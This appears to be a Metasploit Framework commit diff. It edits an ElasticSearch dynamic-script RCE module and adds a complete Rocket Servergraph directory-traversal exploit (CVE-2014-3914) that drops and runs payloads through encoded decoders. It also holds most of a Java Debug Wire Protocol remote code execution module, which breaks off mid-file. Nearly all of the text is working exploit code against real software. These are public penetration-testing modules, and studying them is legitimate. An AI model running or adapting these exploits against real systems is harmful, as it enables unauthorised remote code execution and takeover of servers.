add_compressed(19, "eJzj1UjLzEm10tfXd67RL0nNLdDPKtYrqSjR5AUAaRoIEQ==")
add_compressed(20, "eJzjtbHRdw7RKEmtKNEvyEnMzNPU93RRMDZVMFAI0vePNjIDMWL1g/WDA4DYU8HIECwTovHvP0MWQzGDHkMJQwVDiaZ+SLCGi5WRgaGJgbGxoaGhsampUZSmnR0vAOIUGEU=")
add_compressed(21, "eJzjtbHRdwxVMLRUMFAI0g8J1nCxMjIwNDEwNjY0NDQ2NTWK0rSz4wUAmbEH3g==")
add_compressed(39, "eJzjtbHRd0osTnXLzyvR90jNKUstyUxO1HXKz0nRd81Lzk/JzEtXMDFVMFAI0vdLzE0FqnHK1w8uTSqpLEjVDwEShmBSH2SAnR0vACeXGlQ=")
add_compressed(47, "eJzjtbHRd0osTnXLzyvR90jNKUstyUxO1HfNS85PycxLVzAxVTBQCNL3S8xNBUvrB5cmlVQWpOqHAAlDMKkP0mtnxwsAqd8Y1w==")
add_compressed(48, "eJzjtbHRd0osTnXLzyvRj0osSHPJzEtPSiwp1vdLzE0Firgk6QeXJpVUFqTqhwAJQzCpD1JuZ8cLAJhsFTA=")
add_compressed(45, "eJxNk81u2zAMx5+g75AnGJe0yFKgKGB0PgQYlsOaQzfswEi0LUSWUn1ky55+tJiovkQm+f+RFMXcPT3BV9N1FMgpir9WD3AIdCZQGLwDZYLKY2fpL2ifUClyCYbsegx5tJgT+N47OkIwrodkrKbF/SO8Z58ossvS4nENfcAzLZarDRyytZRAY99TuB76YIGsNadoItCoMQ5Arhyd9ZwYuoAqGW6nz8aWtJa69GEF0w8JRuNyhBOFNPgc0Wlpg9MfMFI1CnozhCzWh3/mLOkLngJqGjEcoTPcF3yLdupw18IPGdWbNjzE6Q4/xcEDsxSjAStSTxAl8q8ci+X6M7Q5eP54AJXD9AQXNtb8BP5I7oCBrQ3UxMqfLtKcD7ojvrBxPNcvK7C+Nwqt8wk+8Y+mDgL1JvJlSMOIqjREfSCCk81RZpX++Jh5YMYHSAPHqoUqJ4IxL5abeyg+PT19yaZIG2sR+N2rnvsZMapsS0ObzRR8zxiYmD4HtJ1UuDrjYvm4gqYsBjRSrZktW1NWCZp69aYsWNPCy618K3ArcDuD20ptRbMVzXam2VZNmwb4LuV2It+JfDeT766CSo3ZJnOyF9jJ4+4F3Qu6n6H7yrxJ8HXwgVeZwsg7erARUFiUMM5YlLJYU2AZA/Lf8zYGEpgEphlMlTKiMaIxM42pGuIxOCnnRe5F7mdyfxVUSpuzmRwyhCxgFjDPwFyJiwRTGcLl5v4Nr5cTv6JTnNv1z893/wElCbzZ")
add_compressed(23, "eJxNzLEKgzAQgOEn8B2ymVCqd4npUEQQXQsdCp0Tc4Ol9Ep6Qh+/gg7d/+8v2rYeMgWZ+TUGIT2eLWADziE65z0ewJYApdkqzrpPHEn1U+YYRCFWYOoLp3/sV2yxsacj+A1fM6dlolXv7k5RDeEtS6b9cZvlSfrxqeQrpuuKH+VYK70=")
@xref_offset = @pdf.length
@pdf << xref_table << trailer(25) << startxref
@pdf
end
end

View File

@ -15,10 +15,10 @@ class Metasploit3 < Msf::Exploit::Remote
super(update_info(info,
'Name' => 'ElasticSearch Dynamic Script Arbitrary Java Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in ElasticSearch,
This module exploits a remote command execution (RCE) vulnerability in ElasticSearch,
exploitable by default on ElasticSearch prior to 1.2.0. The bug is found in the
REST API, which requires no authentication or authorization, where the search
function allows dynamic scripts execution, and can be used for remote attackers
REST API, which does not require authentication, where the search
function allows dynamic scripts execution. It can be used for remote attackers
to execute arbitrary Java code. This module has been tested successfully on
ElasticSearch 1.1.1 on Ubuntu Server 12.04 and Windows XP SP3.
},
@ -65,29 +65,30 @@ class Metasploit3 < Msf::Exploit::Remote
end
def exploit
print_status("#{peer} - Trying to execute arbitrary Java..")
print_status("#{peer} - Trying to execute arbitrary Java...")
unless vulnerable?
fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...")
end
print_status("#{peer} - Asking remote OS...")
print_status("#{peer} - Discovering remote OS...")
res = execute(java_os)
result = parse_result(res)
if result.nil?
fail_with(Failure::Unknown, "#{peer} - Could not get remote OS...")
fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...")
else
print_good("#{peer} - OS #{result} found")
# TODO: It'd be nice to report_host() with this info.
print_good("#{peer} - Remote OS is '#{result}'")
end
jar_file = ""
if result =~ /win/i
print_status("#{peer} - Asking TEMP path")
print_status("#{peer} - Discovering TEMP path")
res = execute(java_tmp_dir)
result = parse_result(res)
if result.nil?
fail_with(Failure::Unknown, "#{peer} - Could not get TEMP path...")
fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...")
else
print_good("#{peer} - TEMP path found on #{result}")
print_good("#{peer} - TEMP path identified: '#{result}'")
end
jar_file = "#{result}#{rand_text_alpha(3 + rand(4))}.jar"
else

View File

@ -0,0 +1,348 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Rocket Servergraph Admin Center fileRequestor Remote Code Execution',
'Description' => %q{
This module abuses several directory traversal flaws in Rocket Servergraph Admin
Center for Tivoli Storage Manager. The issues exist in the fileRequestor servlet,
allowing a remote attacker to write arbitrary files and execute commands with
administrative privileges. This module has been tested successfully on Rocket
ServerGraph 1.2 over Windows 2008 R2 64 bits, Windows 7 SP1 32 bits and Ubuntu
12.04 64 bits.
},
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-3914'],
['ZDI', '14-161'],
['ZDI', '14-162'],
['BID', '67779']
],
'Privileged' => true,
'Platform' => %w{ linux unix win },
'Arch' => [ARCH_X86, ARCH_X86_64, ARCH_CMD],
'Payload' =>
{
'Space' => 8192, # it's writing a file, so just a long enough value
'DisableNops' => true
#'BadChars' => (0x80..0xff).to_a.pack("C*") # Doesn't apply
},
'Targets' =>
[
[ 'Linux (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86
}
],
[ 'Linux (CMD Payload)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD
}
],
[ 'Windows / VB Script',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
[ 'Windows CMD',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 30 2013'))
register_options(
[
Opt::RPORT(8888)
], self.class)
register_advanced_options(
[
OptInt.new('TRAVERSAL_DEPTH', [ true, 'Traversal depth to hit the root folder', 20]),
OptString.new("WINDIR", [ true, 'The Windows Directory name', 'WINDOWS' ]),
OptString.new("TEMP_DIR", [ false, 'A directory where we can write files' ])
], self.class)
end
def check
os = get_os
if os.nil?
return Exploit::CheckCode::Safe
end
Exploit::CheckCode::Appears
end
def exploit
os = get_os
if os == 'win' && target.name =~ /Linux/
fail_with(Failure::BadConfig, "#{peer} - Windows system detected, but Linux target selected")
elsif os == 'linux' && target.name =~ /Windows/
fail_with(Failure::BadConfig, "#{peer} - Linux system detected, but Windows target selected")
elsif os.nil?
print_warning("#{peer} - Failed to detect remote operating system, trying anyway...")
end
if target.name =~ /Windows.*VB/
exploit_windows_vbs
elsif target.name =~ /Windows.*CMD/
exploit_windows_cmd
elsif target.name =~ /Linux.*CMD/
exploit_linux_cmd
elsif target.name =~ /Linux.*Native/
exploit_linux_native
end
end
def exploit_windows_vbs
traversal = "\\.." * traversal_depth
payload_base64 = Rex::Text.encode_base64(generate_payload_exe)
temp = temp_dir('win')
decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.vbs"
encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64"
exe_file_name = "#{rand_text_alpha(4 + rand(3))}.exe"
print_status("#{peer} - Dropping the encoded payload to filesystem...")
write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64)
vbs = generate_decoder_vbs({
:temp_dir => "C:#{temp}",
:encoded_file_name => encoded_file_name,
:exe_file_name => exe_file_name
})
print_status("#{peer} - Dropping the VBS decoder to filesystem...")
write_file("#{traversal}#{temp}#{decoder_file_name}", vbs)
register_files_for_cleanup("C:#{temp}#{decoder_file_name}")
register_files_for_cleanup("C:#{temp}#{encoded_file_name}")
register_files_for_cleanup("C:#{temp}#{exe_file_name}")
print_status("#{peer} - Executing payload...")
execute("#{traversal}\\#{win_dir}\\System32\\cscript //nologo C:#{temp}#{decoder_file_name}")
end
def exploit_windows_cmd
traversal = "\\.." * traversal_depth
execute("#{traversal}\\#{win_dir}\\System32\\cmd.exe /B /C #{payload.encoded}")
end
def exploit_linux_native
traversal = "/.." * traversal_depth
payload_base64 = Rex::Text.encode_base64(generate_payload_exe)
temp = temp_dir('linux')
encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64"
decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.sh"
elf_file_name = "#{rand_text_alpha(4 + rand(3))}.elf"
print_status("#{peer} - Dropping the encoded payload to filesystem...")
write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64)
decoder = <<-SH
#!/bin/sh
base64 --decode #{temp}#{encoded_file_name} > #{temp}#{elf_file_name}
chmod 777 #{temp}#{elf_file_name}
#{temp}#{elf_file_name}
SH
print_status("#{peer} - Dropping the decoder to filesystem...")
write_file("#{traversal}#{temp}#{decoder_file_name}", decoder)
register_files_for_cleanup("#{temp}#{decoder_file_name}")
register_files_for_cleanup("#{temp}#{encoded_file_name}")
register_files_for_cleanup("#{temp}#{elf_file_name}")
print_status("#{peer} - Giving execution permissions to the decoder...")
execute("#{traversal}/bin/chmod 777 #{temp}#{decoder_file_name}")
print_status("#{peer} - Executing decoder and payload...")
execute("#{traversal}/bin/sh #{temp}#{decoder_file_name}")
end
def exploit_linux_cmd
temp = temp_dir('linux')
elf = rand_text_alpha(4 + rand(4))
traversal = "/.." * traversal_depth
print_status("#{peer} - Dropping payload...")
write_file("#{traversal}#{temp}#{elf}", payload.encoded)
register_files_for_cleanup("#{temp}#{elf}")
print_status("#{peer} - Providing execution permissions...")
execute("#{traversal}/bin/chmod 777 #{temp}#{elf}")
print_status("#{peer} - Executing payload...")
execute("#{traversal}#{temp}#{elf}")
end
def generate_decoder_vbs(opts = {})
decoder_path = File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64")
f = File.new(decoder_path, "rb")
decoder = f.read(f.stat.size)
f.close
decoder.gsub!(/>>decode_stub/, "")
decoder.gsub!(/^echo /, "")
decoder.gsub!(/ENCODED/, "#{opts[:temp_dir]}#{opts[:encoded_file_name]}")
decoder.gsub!(/DECODED/, "#{opts[:temp_dir]}#{opts[:exe_file_name]}")
decoder
end
def get_os
os = nil
path = ""
hint = rand_text_alpha(3 + rand(4))
res = send_request(20, "writeDataFile", rand_text_alpha(4 + rand(10)), "/#{hint}/#{hint}")
if res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\/#{hint}\/#{hint} \(No such file or directory\)/
path = $1
elsif res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\\#{hint}\\#{hint} \(The system cannot find the path specified\)/
path = $1
end
if path =~ /^\//
os = 'linux'
elsif path =~ /^[a-zA-Z]:\\/
os = 'win'
end
os
end
def temp_dir(os)
temp = ""
case os
when 'linux'
temp = linux_temp_dir
when 'win'
temp = win_temp_dir
end
temp
end
def linux_temp_dir
dir = "/tmp/"
if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty?
dir = datastore['TEMP_DIR']
end
unless dir.start_with?("/")
dir = "/#{dir}"
end
unless dir.end_with?("/")
dir = "#{dir}/"
end
dir
end
def win_temp_dir
dir = "\\#{win_dir}\\Temp\\"
if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty?
dir = datastore['TEMP_DIR']
end
dir.gsub!(/\//, "\\")
dir.gsub!(/^([A-Za-z]:)?/, "")
unless dir.start_with?("\\")
dir = "\\#{dir}"
end
unless dir.end_with?("\\")
dir = "#{dir}\\"
end
dir
end
def win_dir
dir = "WINDOWS"
if datastore['WINDIR']
dir = datastore['WINDIR']
dir.gsub!(/\//, "\\")
dir.gsub!(/[\\]*$/, "")
dir.gsub!(/^([A-Za-z]:)?[\\]*/, "")
end
dir
end
def traversal_depth
depth = 20
if datastore['TRAVERSAL_DEPTH'] && datastore['TRAVERSAL_DEPTH'] > 1
depth = datastore['TRAVERSAL_DEPTH']
end
depth
end
def write_file(file_name, contents)
res = send_request(20, "writeDataFile", Rex::Text.uri_encode(contents), file_name)
unless res && res.code == 200 && res.body.to_s =~ /Data successfully writen to file: /
fail_with(Failure::Unknown, "#{peer} - Failed to write file... aborting")
end
res
end
def execute(command)
res = send_request(1, "run", command)
res
end
def send_request(timeout, command, query, source = rand_text_alpha(rand(4) + 4))
data = "&invoker=#{rand_text_alpha(rand(4) + 4)}"
data << "&title=#{rand_text_alpha(rand(4) + 4)}"
data << "&params=#{rand_text_alpha(rand(4) + 4)}"
data << "&id=#{rand_text_alpha(rand(4) + 4)}"
data << "&cmd=#{command}"
data << "&source=#{source}"
data << "&query=#{query}"
res = send_request_cgi(
{
'uri' => normalize_uri('/', 'SGPAdmin', 'fileRequest'),
'method' => 'POST',
'data' => data
}, timeout)
res
end
end

View File

@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'windows'
'Platform' => 'win'
}
],
['Linux Universal',
@ -140,7 +140,7 @@ class Metasploit3 < Msf::Exploit::Remote
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
when 'windows'
when 'win'
path = temp_path || './'
payload_exe = "#{path}#{payload_exe}.exe"
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{payload_exe}')"

View File

@ -129,7 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
when 'windows'
when 'win'
@payload_exe = "./#{@payload_exe}.exe"
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
else

View File

@ -0,0 +1,960 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
HANDSHAKE = "JDWP-Handshake"
REQUEST_PACKET_TYPE = 0x00
REPLY_PACKET_TYPE = 0x80
# Command signatures
VERSION_SIG = [1, 1]
CLASSESBYSIGNATURE_SIG = [1, 2]
ALLCLASSES_SIG = [1, 3]
ALLTHREADS_SIG = [1, 4]
IDSIZES_SIG = [1, 7]
CREATESTRING_SIG = [1, 11]
SUSPENDVM_SIG = [1, 8]
RESUMEVM_SIG = [1, 9]
SIGNATURE_SIG = [2, 1]
FIELDS_SIG = [2, 4]
METHODS_SIG = [2, 5]
GETVALUES_SIG = [2, 6]
CLASSOBJECT_SIG = [2, 11]
SETSTATICVALUES_SIG = [3, 2]
INVOKESTATICMETHOD_SIG = [3, 3]
CREATENEWINSTANCE_SIG = [3, 4]
REFERENCETYPE_SIG = [9, 1]
INVOKEMETHOD_SIG = [9, 6]
STRINGVALUE_SIG = [10, 1]
THREADNAME_SIG = [11, 1]
THREADSUSPEND_SIG = [11, 2]
THREADRESUME_SIG = [11, 3]
THREADSTATUS_SIG = [11, 4]
EVENTSET_SIG = [15, 1]
EVENTCLEAR_SIG = [15, 2]
EVENTCLEARALL_SIG = [15, 3]
# Other codes
MODKIND_COUNT = 1
MODKIND_THREADONLY = 2
MODKIND_CLASSMATCH = 5
MODKIND_LOCATIONONLY = 7
MODKIND_STEP = 10
EVENT_BREAKPOINT = 2
EVENT_STEP = 1
SUSPEND_EVENTTHREAD = 1
SUSPEND_ALL = 2
NOT_IMPLEMENTED = 99
VM_DEAD = 112
INVOKE_SINGLE_THREADED = 2
TAG_OBJECT = 76
TAG_STRING = 115
TYPE_CLASS = 1
TAG_ARRAY = 91
TAG_VOID = 86
TAG_THREAD = 116
STEP_INTO = 0
STEP_MIN = 0
THREAD_SLEEPING_STATUS = 2
def initialize
super(
'Name' => 'Java Debug Wire Protocol Remote Code Execution',
'Description' => %q{
This module abuses exposed Java Debug Wire Protocol services in order
to execute arbitrary Java code remotely. It just abuses the protocol
features, since no authentication is required if the service is enabled.
},
'Author' => [
'Michael Schierl', # Vulnerability discovery / First exploit seen / Msf module help
'Christophe Alladoum', # JDWP Analysis and Exploit
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
],
'References' =>
[
['OSVDB', '96066'],
['EDB', '27179'],
['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'],
['URL', 'http://seclists.org/nmap-dev/2010/q1/867'],
['URL', 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java'],
['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],
['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']
],
'Platform' => %w{ linux win },
'Arch' => ARCH_X86,
'Payload' =>
{
'Space' => 2048,
'BadChars' => '',
'DisableNops' => true
},
'Targets' =>
[
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux'
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win'
}
]
],
'DefaultTarget' => 0,
'License' => MSF_LICENSE,
'DisclosureDate' => 'Mar 12 2010'
)
register_options(
[
Opt::RPORT(8000),
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]),
OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']),
], self.class)
register_advanced_options(
[
OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]),
], self.class)
end
def check
connect
res = handshake
disconnect
if res.nil?
return Exploit::CheckCode::Unknown
elsif res == HANDSHAKE
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def peer
"#{rhost}:#{rport}"
end
def default_timeout
datastore['RESPONSE_TIMEOUT']
end
# Establishes handshake with the server
def handshake
sock.put(HANDSHAKE)
return sock.get(datastore['RESPONSE_TIMEOUT'])
end
# Forges packet for JDWP protocol
def create_packet(cmdsig, data="")
flags = 0x00
cmdset, cmd = cmdsig
pktlen = data.length + 11
buf = [pktlen, @my_id, flags, cmdset, cmd]
pkt = buf.pack("NNCCC")
pkt << data
@my_id += 2
pkt
end
# Reads packet response for JDWP protocol
def read_reply(timeout = default_timeout)
response = sock.get(timeout)
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
pktlen, id, flags, errcode = response.unpack('NNCn')
response.slice!(0..10)
if errcode != 0 && flags == REPLY_PACKET_TYPE
fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{errcode}")
end
response
end
# Returns the characters contained in the string defined in target VM
def solve_string(data)
sock.put(create_packet(STRINGVALUE_SIG, data))
response = read_reply
return "" unless response
return read_string(response)
end
# Unpacks received string structure from the server response into a normal string
def read_string(data)
data_len = data.unpack('N')[0]
data.slice!(0..3)
return data.slice!(0,data_len)
end
# Creates a new string object in the target VM and returns its id
def create_string(data)
buf = build_string(data)
sock.put(create_packet(CREATESTRING_SIG, buf))
buf = read_reply
return parse_entries(buf, [[@vars['objectid_size'], "obj_id"]], false)
end
# Packs normal string into string structure for target VM
def build_string(data)
ret = [data.length].pack('N')
ret << data
ret
end
# Pack Fixnum for JDWP protocol
def format(fmt, value)
if fmt == "L" || fmt == 8
return [value].pack('Q>')
elsif fmt == "I" || fmt == 4
return [value].pack('N')
end
fail_with(Failure::Unknown, "Unknown format")
end
# Unpack Fixnum from JDWP protocol
def unformat(fmt, value)
if fmt == "L" || fmt == 8
return value[0..7].unpack('Q>')[0]
elsif fmt == "I" || fmt == 4
return value[0..3].unpack('N')[0]
end
fail_with(Failure::Unknown, "Unknown format")
end
# Parses given data according to a set of formats
def parse_entries(buf, formats, explicit=true)
entries = []
if explicit
nb_entries = buf.unpack('N')[0]
buf.slice!(0..3)
else
nb_entries = 1
end
nb_entries.times do |var|
if var != 0 && var % 1000 == 0
vprint_status("#{peer} - Parsed #{var} classes of #{nb_entries}")
end
data = {}
formats.each do |fmt,name|
if fmt == "L" || fmt == 8
data[name] = buf.unpack('Q>')[0]
buf.slice!(0..7)
elsif fmt == "I" || fmt == 4
data[name] = buf.unpack('N')[0]
buf.slice!(0..3)
elsif fmt == "S"
data_len = buf.unpack('N')[0]
buf.slice!(0..3)
data[name] = buf.slice!(0,data_len)
elsif fmt == "C"
data[name] = buf.unpack('C')[0]
buf.slice!(0)
elsif fmt == "Z"
t = buf.unpack('C')[0]
buf.slice!(0)
if t == 115
data[name] = solve_string(buf.slice!(0..7))
elsif t == 73
data[name], buf = buf.unpack('NN')
end
else
fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response")
end
end
entries.append(data)
end
entries
end
# Gets the sizes of variably-sized data types in the target VM
def get_sizes
formats = [
["I", "fieldid_size"],
["I", "methodid_size"],
["I", "objectid_size"],
["I", "referencetypeid_size"],
["I", "frameid_size"]
]
sock.put(create_packet(IDSIZES_SIG))
response = read_reply
entries = parse_entries(response, formats, false)
entries.each { |e| @vars.merge!(e) }
end
# Gets the JDWP version implemented by the target VM
def get_version
formats = [
["S", "descr"],
["I", "jdwp_major"],
["I", "jdwp_minor"],
["S", "vm_version"],
["S", "vm_name"]
]
sock.put(create_packet(VERSION_SIG))
response = read_reply
entries = parse_entries(response, formats, false)
entries.each { |e| @vars.merge!(e) }
end
def version
"#{@vars["vm_name"]} - #{@vars["vm_version"]}"
end
def is_java_eight
version.downcase =~ /1[.]8[.]/
end
# Returns reference for all threads currently running on target VM
def get_all_threads
sock.put(create_packet(ALLTHREADS_SIG))
response = read_reply
num_threads = response.unpack('N').first
response.slice!(0..3)
size = @vars["objectid_size"]
num_threads.times do
t_id = unformat(size, response[0..size-1])
@threads[t_id] = nil
response.slice!(0..size-1)
end
end
# Returns reference types for all classes currently loaded by the target VM
def get_all_classes
return unless @classes.empty?
formats = [
["C", "reftype_tag"],
[@vars["referencetypeid_size"], "reftype_id"],
["S", "signature"],
["I", "status"]
]
sock.put(create_packet(ALLCLASSES_SIG))
response = read_reply
@classes.append(parse_entries(response, formats))
end
# Checks if specified class is currently loaded by the target VM and returns it
def get_class_by_name(name)
@classes.each do |entry_array|
entry_array.each do |entry|
if entry["signature"].downcase == name.downcase
return entry
end
end
end
nil
end
# Returns information for each method in a reference type (ie. object). Inherited methods are not included.
# The list of methods will include constructors (identified with the name "<init>")
def get_methods(reftype_id)
if @methods.has_key?(reftype_id)
return @methods[reftype_id]
end
formats = [
[@vars["methodid_size"], "method_id"],
["S", "name"],
["S", "signature"],
["I", "mod_bits"]
]
ref_id = format(@vars["referencetypeid_size"],reftype_id)
sock.put(create_packet(METHODS_SIG, ref_id))
response = read_reply
@methods[reftype_id] = parse_entries(response, formats)
end
# Returns information for each field in a reference type (ie. object)
def get_fields(reftype_id)
formats = [
[@vars["fieldid_size"], "field_id"],
["S", "name"],
["S", "signature"],
["I", "mod_bits"]
]
ref_id = format(@vars["referencetypeid_size"],reftype_id)
sock.put(create_packet(FIELDS_SIG, ref_id))
response = read_reply
fields = parse_entries(response, formats)
fields
end
# Returns the value of one static field of the reference type. The field must be member of the reference type
# or one of its superclasses, superinterfaces, or implemented interfaces. Access control is not enforced;
# for example, the values of private fields can be obtained.
def get_value(reftype_id, field_id)
data = format(@vars["referencetypeid_size"],reftype_id)
data << [1].pack('N')
data << format(@vars["fieldid_size"],field_id)
sock.put(create_packet(GETVALUES_SIG, data))
response = read_reply
num_values = response.unpack('N')[0]
unless (num_values == 1) && (response[4].unpack('C')[0] == TAG_OBJECT)
fail_with(Failure::Unknown, "Bad response when getting value for field")
end
response.slice!(0..4)
len = @vars["objectid_size"]
value = unformat(len, response)
value
end
# Sets the value of one static field. Each field must be member of the class type or one of its superclasses,
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, the values of
# private fields can be set. Final fields cannot be set.For primitive values, the value's type must match
# the field's type exactly. For object values, there must exist a widening reference conversion from the
# value's type to the field's type and the field's type must be loaded.
def set_value(reftype_id, field_id, value)
data = format(@vars["referencetypeid_size"],reftype_id)
data << [1].pack('N')
data << format(@vars["fieldid_size"],field_id)
data << format(@vars["objectid_size"],value)
sock.put(create_packet(SETSTATICVALUES_SIG, data))
read_reply
end
# Checks if specified method is currently loaded by the target VM and returns it
def get_method_by_name(classname, name, signature = nil)
@methods[classname].each do |entry|
if signature.nil?
return entry if entry["name"].downcase == name.downcase
else
if entry["name"].downcase == name.downcase && entry["signature"].downcase == signature.downcase
return entry
end
end
end
nil
end
# Checks if specified class and method are currently loaded by the target VM and returns them
def get_class_and_method(looked_class, looked_method, signature = nil)
target_class = get_class_by_name(looked_class)
unless target_class
fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found")
end
get_methods(target_class["reftype_id"])
target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature)
unless target_method
fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found")
end
return target_class, target_method
end
# Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept")
def str_to_fq_class(s)
i = s.rindex(".")
unless i
fail_with(Failure::BadConfig, 'Bad defined break class')
end
method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string
classname = 'L'
classname << s[0..i-1].gsub(/[.]/, '/')
classname << ';'
return classname, method
end
# Gets the status of a given thread
def thread_status(thread_id)
sock.put(create_packet(THREADSTATUS_SIG, format(@vars["objectid_size"], thread_id)))
buf = read_reply(datastore['BREAK_TIMEOUT'])
unless buf
fail_with(Exploit::Failure::Unknown, "No network response")
end
status, suspend_status = buf.unpack('NN')
status
end
# Resumes execution of the application or thread after the suspend command or an event has stopped it
def resume_vm(thread_id = nil)
if thread_id.nil?
sock.put(create_packet(RESUMEVM_SIG))
else
sock.put(create_packet(THREADRESUME_SIG, format(@vars["objectid_size"], thread_id)))
end
response = read_reply(datastore['BREAK_TIMEOUT'])
unless response
fail_with(Exploit::Failure::Unknown, "No network response")
end
response
end
# Suspend execution of the application or thread
def suspend_vm(thread_id = nil)
if thread_id.nil?
sock.put(create_packet(SUSPENDVM_SIG))
else
sock.put(create_packet(THREADSUSPEND_SIG, format(@vars["objectid_size"], thread_id)))
end
response = read_reply
unless response
fail_with(Exploit::Failure::Unknown, "No network response")
end
response
end
# Sets an event request. When the event described by this request occurs, an event is sent from the target VM
def send_event(event_code, args)
data = [event_code].pack('C')
data << [SUSPEND_ALL].pack('C')
data << [args.length].pack('N')
args.each do |kind,option|
data << [kind].pack('C')
data << option
end
sock.put(create_packet(EVENTSET_SIG, data))
response = read_reply
unless response
fail_with(Exploit::Failure::Unknown, "#{peer} - No network response")
end
return response.unpack('N')[0]
end
# Parses a received event and compares it with the expected
def parse_event(buf, event_id, thread_id)
len = @vars["objectid_size"]
return false if buf.length < 10 + len - 1
r_id = buf[6..9].unpack('N')[0]
t_id = unformat(len,buf[10..10+len-1])
return (event_id == r_id) && (thread_id == t_id)
end
# Clear a defined event request
def clear_event(event_code, r_id)
data = [event_code].pack('C')
data << [r_id].pack('N')
sock.put(create_packet(EVENTCLEAR_SIG, data))
read_reply
end
# Invokes a static method. The method must be member of the class type or one of its superclasses,
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private
# methods can be invoked.
def invoke_static(class_id, thread_id, meth_id, args = [])
data = format(@vars["referencetypeid_size"], class_id)
data << format(@vars["objectid_size"], thread_id)
data << format(@vars["methodid_size"], meth_id)
data << [args.length].pack('N')
args.each do |arg|
data << arg
data << [0].pack('N')
end
sock.put(create_packet(INVOKESTATICMETHOD_SIG, data))
buf = read_reply
buf
end
# Invokes a instance method. The method must be member of the object's type or one of its superclasses,
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods
# can be invoked.
def invoke(obj_id, thread_id, class_id, meth_id, args = [])
data = format(@vars["objectid_size"], obj_id)
data << format(@vars["objectid_size"], thread_id)
data << format(@vars["referencetypeid_size"], class_id)
data << format(@vars["methodid_size"], meth_id)
data << [args.length].pack('N')
args.each do |arg|
data << arg
data << [0].pack('N')
end
sock.put(create_packet(INVOKEMETHOD_SIG, data))
buf = read_reply
buf
end
# Creates a new object of specified class, invoking the specified constructor. The constructor
# method ID must be a member of the class type.
def create_instance(class_id, thread_id, meth_id, args = [])
data = format(@vars["referencetypeid_size"], class_id)
data << format(@vars["objectid_size"], thread_id)
data << format(@vars["methodid_size"], meth_id)
data << [args.length].pack('N')
args.each do |arg|
data << arg
data << [0].pack('N')
end
sock.put(create_packet(CREATENEWINSTANCE_SIG, data))
buf = read_reply
buf
end
def temp_path
return nil unless datastore['TMP_PATH']
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
end
datastore['TMP_PATH']
end
# Configures payload according to targeted architecture
def setup_payload
# 1. Setting up generic values.
